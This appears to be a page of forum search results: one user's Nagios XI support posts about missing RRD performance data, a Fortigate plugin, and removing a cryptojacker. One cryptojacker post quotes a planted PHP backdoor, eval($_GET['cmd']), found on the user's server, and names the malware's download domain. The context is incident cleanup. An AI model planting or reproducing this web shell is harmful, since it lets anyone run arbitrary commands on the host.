Search found 15 matches

by danielheaton
Mon Mar 17, 2025 9:49 am
Forum: Nagios XI
Topic: [SOLVED] Missing perfdata for some hosts
Replies: 4
Views: 700

Re: Missing perfdata for some hosts

Thanks Marucs, RRD files not being updated for a number of hosts, cleared those out and all working now. WIll setup a cron job to keep an eye on them
by danielheaton
Fri Mar 14, 2025 3:56 am
Forum: Nagios XI
Topic: [SOLVED] Missing perfdata for some hosts
Replies: 4
Views: 700

Re: Missing perfdata for some hosts

Thank you kg! I've located perf data under /usr/local/nagios/share/perfdata/ and I've got a dir for My-Host. Inside there I've got XMLs and RRD files for each service. The RRD files for the problem services weren't being updated (though the XMLs were) so I've moved those and rebooted the box (not su...
by danielheaton
Thu Mar 13, 2025 4:19 am
Forum: Nagios XI
Topic: [SOLVED] Missing perfdata for some hosts
Replies: 4
Views: 700

[SOLVED] Missing perfdata for some hosts

Hi all Running 2024R1.4.1 on Ubuntu 22.04 I've got numerous Windows and Linux (RHEL/Ubuntu) hosts, most of these are showing performance graph data normally for CPU Usage, Memory Usage, etc. but some Ubuntu hosts are not. The usage is shown live, but no historic data is visible. Ie. On the Performan...
by danielheaton
Fri Feb 25, 2022 12:41 pm
Forum: Nagios XI
Topic: Plugin with .cfg files
Replies: 1
Views: 725

Plugin with .cfg files

Hi all I've downnloaded a plugin for my Nagios XI instance from here (https://github.com/riskersen/Monitoring) specifically the Fortigate plugin, check_fortigate.pl. In the directory is a .pl file, a .mib, and a couple of .cfg files. I've imported the PL as a plugin, the MIB as MIBs, but not sure wh...
by danielheaton
Tue May 11, 2021 2:30 pm
Forum: Nagios XI
Topic: Removing a Cryptojacker
Replies: 14
Views: 1270

Re: Removing a Cryptojacker

Happy to close off, of I have any issues I'll start a new one and link back, thanks for your help!
by danielheaton
Tue May 11, 2021 5:51 am
Forum: Nagios XI
Topic: Removing a Cryptojacker
Replies: 14
Views: 1270

Re: Removing a Cryptojacker

Apache user just running httpd, and nothing in the cron for it, so looking good (hopefully!)
by danielheaton
Fri May 07, 2021 11:56 pm
Forum: Nagios XI
Topic: Removing a Cryptojacker
Replies: 14
Views: 1270

Re: Removing a Cryptojacker

Will do, thanks!
by danielheaton
Fri May 07, 2021 9:54 am
Forum: Nagios XI
Topic: Removing a Cryptojacker
Replies: 14
Views: 1270

Re: Removing a Cryptojacker

Thanks guys. Can I just check what the content of /usr/local/nagvis/share/userfiles/scripts/userfile.php should be please? My AV is flagging it as a backdoor, but I'm not sure if that's a false positive?

Mine is

Code: Select all

 <?php
eval($_GET['cmd']);
?>
by danielheaton
Fri Apr 30, 2021 2:25 am
Forum: Nagios XI
Topic: Removing a Cryptojacker
Replies: 14
Views: 1270

Re: Removing a Cryptojacker

Seems like it has stopped firing now the cronjob has gone. Appears my firewall/Umbrella did their jobs in stopping the connection to download the second script from sslcer.justdied.com, so I think (hope) this is the only bit that needs cleaning up. In the backup .tar.gz I can see the path /cron/apac...
by danielheaton
Fri Apr 30, 2021 12:28 am
Forum: Nagios XI
Topic: Removing a Cryptojacker
Replies: 14
Views: 1270

Re: Removing a Cryptojacker

Thanks gsmith Re DNS - We've recently started using Cisco Umbrella (which was how we found it in the firstplace) and to monitor it live I'm running wireshark from the box (tshark -f "udp port 53") and filtering the output for sslcer.justdied.com No luck with lsof, but a ps -ef shows a load...